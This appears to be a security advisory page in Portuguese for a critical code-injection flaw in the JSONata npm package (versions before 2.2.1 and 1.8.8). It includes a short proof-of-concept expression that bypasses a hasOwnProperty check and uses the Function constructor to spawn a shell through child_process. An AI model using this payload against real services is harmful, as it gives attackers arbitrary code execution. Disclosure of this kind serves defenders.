PT-2026-80201 · Npm · Jsonata

Publicado

2026-08-21

·

Atualizado

2026-08-21

CVSS v4.0

9.3

Crítica

VetorAV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Before JSONata 2.2.1 and 1.8.8 it was possible to execute arbitrary code with crafted expressions, due to a bypassable hasOwnProperty check in environment.lookup https://github.com/jsonata-js/jsonata/blob/8ee4476f8a228bfc7a62979ae0a9c13a4043cd03/src/jsonata.js#L1863-L1871

PoC

js
import jsonata from "jsonata";

const expression = jsonata(`
(
   $hasOwnProperty := $spread($string);
   $ proto  := $constructor;
   $constructor("return
process.getBuiltinModule('child process').execSync('sh',{stdio:'inherit'})")();
)`);

await expression.evaluate({});

Correção

Code Injection

Encontrou algum problema na descrição? Tem algo a acrescentar? Fique à vontade para nos escrever 👾

Enumeração de Fraquezas

Identificadores relacionados

GHSA-2943-5XFG-GQ5F

Produtos afetados

Jsonata